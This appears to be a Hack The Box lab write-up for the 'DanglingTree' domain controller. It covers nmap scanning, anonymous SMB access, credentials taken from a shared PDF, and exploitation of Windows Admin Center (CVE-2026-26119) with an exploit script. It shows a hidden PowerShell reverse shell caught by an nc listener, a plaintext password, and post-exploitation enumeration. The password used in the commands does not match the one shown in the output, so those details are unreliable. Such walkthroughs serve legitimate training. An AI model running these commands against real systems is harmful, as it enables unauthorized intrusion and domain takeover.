HTB DanglingTree Writeup | SMB Enumeration to Windows Admin Center RCE to Domain Compromise

August 13, 2026 • Surajit Sen • ⏱️ 11 min read

PlatformHack The Box

TargetDanglingTree

HTB DanglingTree Writeup | SMB Enumeration to Windows Admin Center RCE to Domain Compromise

🔒

Password Protected

This writeup is password protected. Please enter the correct password to read its contents.

HTB DanglingTree Writeup

Nmap Scan

I started with a nmap scan as usual :

nmap -sC -sV -p- -O -A --min-rate=10000 10.129.28.97

Output:

Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-10 12:46 EDT
Nmap scan report for 10.129.28.97
Host is up (0.067s latency).
Not shown: 65510 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-10 23:46:16Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after:  2106-08-03T16:32:53
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=danglingtree-DC-CA
| Not valid before: 2026-03-26T05:34:19
|_Not valid after:  2114-03-26T05:44:18
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after:  2106-08-03T16:32:53
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after:  2106-08-03T05:34:19
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after: 2106-08-03T16:32:53
3389/tcp  open  ms-wbt-server
| ssl-cert: Subject: commonName=dc.danglingtree.htb
| Not valid before: 2026-03-25T05:48:29
|_Not valid after: 2026-09-24T05:48:29
| rdp-ntlm-info: 
|   Target_Name: DANGLINGTREE
|   NetBIOS_Domain_Name: DANGLINGTREE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: danglingtree.htb
|   DNS_Computer_Name: dc.danglingtree.htb
|   DNS_Tree_Name: danglingtree.htb
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-10T23:48:06+00:00
|_ssl-date: TLS randomness does not represent time
6600/tcp  open  ssl/mshvlm?
| ssl-cert: Subject: commonName=dc.danglingtree.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.danglingtree.htb
| Not valid before: 2026-03-26T05:41:20
|_Not valid after: 2027-03-26T05:41:20
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 403 Forbidden
|     Connection: close
|     Date: Mon, 10 Aug 2026 23:46:33 GMT
|     Cache-Control: no-store
|     Cache-Control: max-age=0
|     Pragma: no-cache
|     Set-Cookie: .AspNetCore.Antiforgery.7Eyhia2WOxE=CfDJ8HsozULo80ZBsxvkNAKguokND3t4d4La3-GMDJc243d1CY7kpZBOGkkxhPVnVnMJmTQYftqc4-KUQ151jAJAGObixmQby6C7XfDGJMQk3kCg5TrSbDU8cFzPixAPdFshfa75WNErnhKpfXcMUvR6TSc; path=/; secure; samesite=none; Partitioned
|     Set-Cookie: WAC-SESSION=afdc6ab71f7149a186483878cb747f93; expires=Tue, 11 Aug 2026 23:46:34 GMT; path=/; secure; samesite=lax; httponly
|     Set-Cookie: WAC-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Set-Cookie: WAC-AAD=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Set-Cookie: XSRF-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Strict-Transport-Security: max-age=5184000; includeSubDomains; preload
|     <!DOCTYPE html>
|     <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
|     <head
|     HTTPOptions: 
|     HTTP/1.1 403 Forbidden
|     Connection: close
|     Date: Mon, 10 Aug 2026 23:46:34 GMT
|     Cache-Control: no-store
|     Cache-Control: max-age=0
|     Pragma: no-cache
|     Set-Cookie: .AspNetCore.Antiforgery.7Eyhia2WOxE=CfDJ8HsozULo80ZBsxvkNAKguonpzRlhge6pB7kJgXS_q1qq41mm8XlcJgDk4pIfHxBapgr6dPbO2H7m_JqCaR5N9cVBMDbsb4LK1G3UruxOPCYIstmgAxPI6HLJgKb1NttrY_62-b9m2SR_LqrTyr0ybJg; path=/; secure; samesite=none; Partitioned
|     Set-Cookie: WAC-SESSION=5d5f44143c29428c81c0f0fb217d5d8d; expires=Tue, 11 Aug 2026 23:46:34 GMT; path=/; secure; samesite=lax; httponly
|     Set-Cookie: WAC-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Set-Cookie: WAC-AAD=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Set-Cookie: XSRF-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
|     Strict-Transport-Security: max-age=5184000; includeSubDomains; preload
|     <!DOCTYPE html>
|     <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
|     <head
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49740/tcp open  msrpc         Microsoft Windows RPC

Nmap Observations

The scan immediately gives us several useful AD indicators:

53/tcp — DNS
88/tcp — Kerberos
389/tcp — LDAP
445/tcp — SMB
636/tcp — LDAPS
3268/tcp — Global Catalog LDAP
3269/tcp — Global Catalog LDAPS
3389/tcp — RDP
6600/tcp — HTTPS service returning WAC-* cookies
9389/tcp — .NET Message Framing

Domain: danglingtree.htb
DC: dc.danglingtree.htb
NetBIOS Domain: DANGLINGTREE
Computer Name: DC

SMB Enumeration

Since 445/tcp is open, I checked whether SMB allowed anonymous share enumeration:

smbclient -L //danglingtree.htb -N

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
IT              Disk      
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share

The important share here is:

IT

I connected to it without credentials:

smbclient //danglingtree.htb/IT

Then enumerated the contents:

smb: \> ls
  .                                   D        0  Sat Apr  4 21:05:09 2026
  ..                                  D        0  Sat Apr  4 20:57:30 2026
  Security                            D        0  Sat Apr  4 21:05:20 2026

                7062015 blocks of size 4096. 2273074 blocks available

The Security directory looked interesting:

smb: \> cd Security
smb: \Security\> ls

.                                   D        0  Sat Apr  4 21:05:20 2026
..                                  D        0  Sat Apr  4 21:05:09 2026
DanglingTree_RoE_Assessment.pdf      A    28905  Sat Apr  4 11:50:23 2026

I downloaded the PDF:

smb: \Security\> get "DanglingTree_RoE_Assessment.pdf"

getting file \Security\DanglingTree_RoE_Assessment.pdf of size 28905 as DanglingTree_RoE_Assessment.pdf (56.6 KiloBytes/sec) (average 56.6 KiloBytes/sec)

Checking the downloaded file:

ls

DanglingTree_RoE_Assessment.pdf

file DanglingTree_RoE_Assessment.pdf

DanglingTree_RoE_Assessment.pdf: PDF document, version 1.4, 12 page(s)

I then opened the document:

thunar *

The assessment document contained credentials that could be used for further enumeration.

Credential Validation

Using the credentials obtained from the assessment document, I tested authentication against SMB with NetExec:

nxc smb 10.129.26.186 -u 'anderson.w' -p 'fuck' --shares

The credentials were valid:

SMB         10.129.26.186   445    DC               [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False)
SMB         10.129.26.186   445    DC               [+] danglingtree.htb\anderson.w:R3dT3am@Acc3ss#01 
SMB         10.129.26.186   445    DC               [*] Enumerated shares
SMB         10.129.26.186   445    DC               Share           Permissions     Remark
SMB         10.129.26.186   445    DC               -----           -----------     ------
SMB         10.129.26.186   445    DC               ADMIN$                          Remote Admin
SMB         10.129.26.186   445    DC               C$                              Default share
SMB         10.129.26.186   445    DC               IPC$            READ            Remote IPC
SMB         10.129.26.186   445    DC               IT                              
SMB         10.129.26.186   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.26.186   445    DC               SYSVOL          READ            Logon server share

Note: The target IP changed from 10.129.28.97 in the initial scan to 10.129.26.186 here. HTB machine is restarted once.

Windows Admin Center

At this point, the 6600/tcp service from the original Nmap scan became particularly interesting.

Windows Admin Center login page

quickly login with the credentials found inside pdf doc. next After researching the identified service, I found CVE-2026-26119, a high-severity vulnerability affecting Windows Admin Center.

CVE-2026-26119 is a high-severity privilege-escalation vulnerability (CVSS score 8.8) in Microsoft Windows Admin Center (WAC) that allows an authenticated attacker with low-level access to escalate privileges and potentially achieve full domain compromise. [1, 2]

Exploiting CVE-2026-26119

I used the available exploit against the authenticated WAC service.

First, I verified command execution with:

python3 wac_rce.py anderson.w fuck whoami

The command returned:

danglingtree\anderson.w

This confirmed that commands were executing in the context of the compromised domain user.

I then attempted to obtain a PowerShell reverse shell:

python3 wac_rce.py 'anderson.w' 'fuck' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"

I started a listener on my attacking machine:

nc -nlvp 4444

The connection came back from the DC:

listening on [any] 4444 ...
connect to [10.10.14.84] from (UNKNOWN) [10.129.26.186] 62012

I now had a PowerShell shell:

PS C:\WINDOWS\system32> ls

Post-Exploitation Enumeration

Once I had command execution, I started with basic Windows and AD-oriented enumeration.

net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

The current user was:

User accounts for \\DC

-------------------------------------------------------------------------------
anderson.w               
The command completed successfully.

`whoami /all`

USER INFORMATION
----------------

User Name               SID                                         
======================= ============================================
danglingtree\anderson.w S-1-5-21-4220238332-57023728-1129110646-2601

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes                                        
-------------------------------------------  ---------------  -----------  ------------------------------------------------
Everyone                                    Well-known group S-1-1-0       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545  Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

The user also had the following privileges:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
----------------------------  -----------------------------  -------
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The local user enumeration showed:

Name       Enabled LastLogon           
----       ------- ---------           
anderson.w    True 8/13/2026 9:28:03 AM

The SeMachineAccountPrivilege privilege is particularly interesting from an AD perspective because it allows the user to add computer accounts to the domain, subject to the domain’s relevant policies.

Additional Research

While researching Windows/AD attack paths, I also came across the following:

SmarterTools SmarterMail has faced multiple critical vulnerabilities—including CVE-2026-24423, CVE-2025-52691, and CVE-2026-23760—that allow unauthenticated remote code execution (RCE) and full system takeover. These flaws have been added to CISA’s Known Exploited Vulnerabilities catalog and used actively by threat actors and ransomware groups. [1, 2, 3, 4, 5]

hint btw.

Full Writeup

The complete Hack The Box DanglingTree walkthrough—including the full enumeration process, commands, screenshots, exploitation steps, and post-exploitation analysis—is published here.

Note: Full writeups are published only after the respective Hack The Box machine retires.

Thanks.